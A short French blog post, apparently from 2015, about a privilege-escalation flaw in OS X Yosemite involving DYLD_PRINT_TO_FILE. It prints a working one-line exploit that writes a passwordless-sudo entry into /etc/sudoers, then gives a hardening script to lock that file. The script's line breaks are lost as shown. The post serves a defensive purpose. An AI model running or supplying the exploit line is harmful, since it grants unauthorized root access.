Une faille de sécurité sur OS X Yosémite (10.10.*) permet d'obtenir un accès root en une ligne de commande. Nous allons ici écrire un script qui permet de se protéger de cette faille.
0x01. EXPLOIT
La faille réside dans le fait, que la variable DYLD_PRINT_TO_FILE permet une redirection vers un fichier qui ne nous appartient pas.
Il n'y qu'à se donner les droits pour tout exécuter sans mot de passe, en modifiant le fichier sudoers ;
echo 'echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >&3'|DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo sh -c whoami
0x02. SECURISATION
Pour se protéger de cette faille, il suffit de protéger les fichiers sudoers, et tant de crocheter le programme visudo afin de tout de même pouvoir l'éditer :
file /usr/sbin/visudo |grep "script" ||sudo mv /usr/sbin/visudo /usr/sbin/visudo.bin
cat << EOF |sudo tee /usr/sbin/visudo #!/bin/sh f=/etc/sudoers /usr/bin/chflags noschg "\\$f" /bin/chmod u+w "\\$f" /usr/sbin/visudo.bin /bin/chmod ugo-w "\\$f" /usr/bin/chflags schg "\\$f" /bin/ls -lO@Ge "\\$f"|GREP_COLOR="1;32" /usr/bin/grep "schg" EOF sudo /usr/sbin/chown root:wheel /usr/sbin/visudo sudo /bin/chmod 0755 /usr/sbin/visudo sudo /bin/chmod ugo-w "/etc/sudoers" sudo /usr/bin/chflags schg "/etc/sudoers"
Je vous conseil - en plus, d'installer SUID Guard NG, qui vous protège les programmes lancés avec des droits administrateur (root) d'un surchargement des variables d'environnement (DYLD_*).
Vous pouvez télécharger SUID Guard NG ici.
=> Écrit par : Nicolas, le 30 juillet 2015